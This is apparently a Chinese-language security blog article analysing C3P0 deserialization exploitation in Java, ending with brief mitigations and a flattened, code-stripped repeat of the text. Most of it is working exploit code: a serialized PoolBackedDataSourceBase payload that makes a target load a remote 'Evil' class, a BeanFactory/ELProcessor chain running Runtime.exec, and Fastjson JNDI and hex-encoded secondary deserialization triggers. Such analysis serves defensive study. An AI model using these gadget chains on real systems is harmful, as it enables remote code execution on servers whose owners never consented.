Java安全-C3P0
字数 1636 2025-08-29 08:30:36

Java安全-C3P0反序列化漏洞分析与利用

1. C3P0简介

C3P0是一个用于创建和管理数据库连接的开源JDBC连接池库,主要功能包括:

  • 连接池管理
  • 连接数控制
  • 连接可靠性测试
  • 连接泄露控制
  • 缓存语句功能

2. 原生反序列化利用 - 远程加载类

2.1 利用链分析

关键类:PoolBackedDataSourceBase

  • 实现了IdentityTokenized接口,用于支持注册功能
  • 每个DataSource实例都有一个identityToken用于在C3P0Registry中注册
  • 持有PropertyChangeSupportVetoableChangeSupport对象

序列化机制:

  • 序列化时需要存储connectionPoolDataSource属性
  • 如果该属性不可序列化,会使用ReferenceIndirector.indirectForm方法
    • 调用Referenceable对象的getReference方法获取Reference对象
    • 生成可序列化的IndirectlySerialized对象(ReferenceSerialized

反序列化时:

  • 如果是IndirectlySerialized对象,会调用getObject方法重新生成connectionPoolDataSource对象

2.2 关键利用点

ReferenceableUtils.referenceToObject方法:

public static Object referenceToObject(Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException {
    // ...
    URL u = new URL(fClassLocation);
    cl = new URLClassLoader(new URL[] { u }, defaultClassLoader);
    Class fClass = Class.forName(fClassName, true, cl);
    ObjectFactory of = (ObjectFactory) fClass.newInstance();
    return of.getObjectInstance(ref, name, nameCtx, env);
}

2.3 Payload构造

需要创建一个实现了ReferenceableConnectionPoolDataSource接口但不实现Serializable的类:

private static class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
    protected String classFactory;
    protected String classFactoryLocation;
    
    public ConnectionPool(String classFactory, String classFactoryLocation) {
        this.classFactory = classFactory;
        this.classFactoryLocation = classFactoryLocation;
    }
    
    @Override
    public Reference getReference() throws NamingException {
        return new Reference("ref", classFactory, classFactoryLocation);
    }
    // 其他方法实现...
}

完整利用代码:

public class c3p0SerDemo {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
        
        ConnectionPool connectionPool = new ConnectionPool("Evil", "http://127.0.0.1:8888/");
        
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
}

3. 不出网利用

3.1 利用原理

利用org.apache.naming.factory.BeanFactory类的getObjectInstance方法:

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
    if (obj instanceof ResourceRef) {
        try {
            Reference ref = (Reference) obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            // 加载类...
            Object bean = beanClass.getConstructor().newInstance();
            
            // 处理forceString属性
            RefAddr ra = ref.get("forceString");
            Map<String, Method> forced = new HashMap<>();
            if (ra != null) {
                String value = (String) ra.getContent();
                Class<?> paramTypes[] = new Class[1];
                paramTypes[0] = String.class;
                // 解析forceString配置...
            }
            
            // 反射调用方法
            Enumeration<RefAddr> e = ref.getAll();
            while (e.hasMoreElements()) {
                ra = e.nextElement();
                String propName = ra.getType();
                // 过滤特定属性...
                value = (String) ra.getContent();
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    method.invoke(bean, valueArray);
                }
            }
            return bean;
        } catch (Exception e) {
            // 异常处理...
        }
    }
    return null;
}

3.2 利用javax.el.ELProcessor

Demo代码:

public class c3p0UnserDemo {
    public static void main(String[] args) throws Exception {
        RefAddr forceStringAddr = new StringRefAddr("forceString", "x=eval");
        RefAddr xStringAddr = new StringRefAddr("x", 
            "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
            ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
        
        Reference ref = new ResourceRef("javax.el.ELProcessor", null, null, null, false);
        ref.add(forceStringAddr);
        ref.add(xStringAddr);
        
        ObjectFactory beanFactory = new BeanFactory();
        beanFactory.getObjectInstance(ref, null, null, null);
    }
}

3.3 反序列化构造

修改getReference方法:

@Override
public Reference getReference() throws NamingException {
    RefAddr forceStringAddr = new StringRefAddr("forceString", "x=eval");
    RefAddr xStringAddr = new StringRefAddr("x", 
        "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
        ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
    
    Reference ref = new ResourceRef("javax.el.ELProcessor", null, null, null, false, classFactory, classFactoryLocation);
    ref.add(forceStringAddr);
    ref.add(xStringAddr);
    return ref;
}

4. Fastjson中的利用

4.1 JNDI注入

利用类:com.mchange.v2.c3p0.JndiRefForwardingDataSource

关键点:

  • 设置jndiName属性
  • 设置loginTimeout属性触发inner()方法调用

4.2 二次反序列化

4.2.1 关键类与机制

  • VetoableChangeListener:监听器接口,当受约束属性改变时调用vetoableChange方法
  • VetoableChangeSupport:管理监听器列表,发送PropertyChangeEvent
  • PropertyChangeEvent:存储Bean属性名和新旧值

4.2.2 利用链分析

关键类:WrapperConnectionPoolDataSource

初始化时调用setUpPropertyListeners方法设置属性监听:

public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
    String propName = evt.getPropertyName();
    Object val = evt.getNewValue();
    
    if ("connectionTesterClassName".equals(propName)) {
        // 处理connectionTesterClassName...
    } else if ("userOverridesAsString".equals(propName)) {
        try {
            WrapperConnectionPoolDataSource.this.userOverrides = 
                C3P0ImplUtils.parseUserOverridesAsString((String) val);
        } catch (Exception e) {
            throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
        }
    }
}

C3P0ImplUtils.parseUserOverridesAsString处理流程:

  1. 截取HexAsciiSerializedMap:后的hex字符串
  2. 解码hex字符串
  3. 反序列化解码后的数据

4.2.3 利用方式

通过设置userOverridesAsString属性触发反序列化:

// 构造形如 HexAsciiSerializedMap:hex_code; 的字符串
String payload = "HexAsciiSerializedMap:aced...;";
wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);

5. 防御措施

  1. 升级C3P0到最新版本
  2. 限制反序列化操作,使用白名单控制可反序列化的类
  3. 配置Java安全策略,限制URLClassLoader加载远程代码
  4. 在JDK高版本中利用trustCodebaseURL限制

6. 参考链接

  1. ysoserial C3P0 payload
  2. Fastjson C3P0利用
  3. Java Beans VetoableChangeSupport文档
  4. C3P0不出网利用
Java安全-C3P0反序列化漏洞分析与利用 1. C3P0简介 C3P0是一个用于创建和管理数据库连接的开源JDBC连接池库,主要功能包括: 连接池管理 连接数控制 连接可靠性测试 连接泄露控制 缓存语句功能 2. 原生反序列化利用 - 远程加载类 2.1 利用链分析 关键类: PoolBackedDataSourceBase 实现了 IdentityTokenized 接口,用于支持注册功能 每个DataSource实例都有一个 identityToken 用于在C3P0Registry中注册 持有 PropertyChangeSupport 和 VetoableChangeSupport 对象 序列化机制: 序列化时需要存储 connectionPoolDataSource 属性 如果该属性不可序列化,会使用 ReferenceIndirector.indirectForm 方法 调用 Referenceable 对象的 getReference 方法获取 Reference 对象 生成可序列化的 IndirectlySerialized 对象( ReferenceSerialized ) 反序列化时: 如果是 IndirectlySerialized 对象,会调用 getObject 方法重新生成 connectionPoolDataSource 对象 2.2 关键利用点 ReferenceableUtils.referenceToObject 方法: 2.3 Payload构造 需要创建一个实现了 Referenceable 和 ConnectionPoolDataSource 接口但不实现 Serializable 的类: 完整利用代码: 3. 不出网利用 3.1 利用原理 利用 org.apache.naming.factory.BeanFactory 类的 getObjectInstance 方法: 3.2 利用 javax.el.ELProcessor Demo代码: 3.3 反序列化构造 修改 getReference 方法: 4. Fastjson中的利用 4.1 JNDI注入 利用类: com.mchange.v2.c3p0.JndiRefForwardingDataSource 关键点: 设置 jndiName 属性 设置 loginTimeout 属性触发 inner() 方法调用 4.2 二次反序列化 4.2.1 关键类与机制 VetoableChangeListener :监听器接口,当受约束属性改变时调用 vetoableChange 方法 VetoableChangeSupport :管理监听器列表,发送 PropertyChangeEvent PropertyChangeEvent :存储Bean属性名和新旧值 4.2.2 利用链分析 关键类: WrapperConnectionPoolDataSource 初始化时调用 setUpPropertyListeners 方法设置属性监听: C3P0ImplUtils.parseUserOverridesAsString 处理流程: 截取 HexAsciiSerializedMap: 后的hex字符串 解码hex字符串 反序列化解码后的数据 4.2.3 利用方式 通过设置 userOverridesAsString 属性触发反序列化: 5. 防御措施 升级C3P0到最新版本 限制反序列化操作,使用白名单控制可反序列化的类 配置Java安全策略,限制URLClassLoader加载远程代码 在JDK高版本中利用 trustCodebaseURL 限制 6. 参考链接 ysoserial C3P0 payload Fastjson C3P0利用 Java Beans VetoableChangeSupport文档 C3P0不出网利用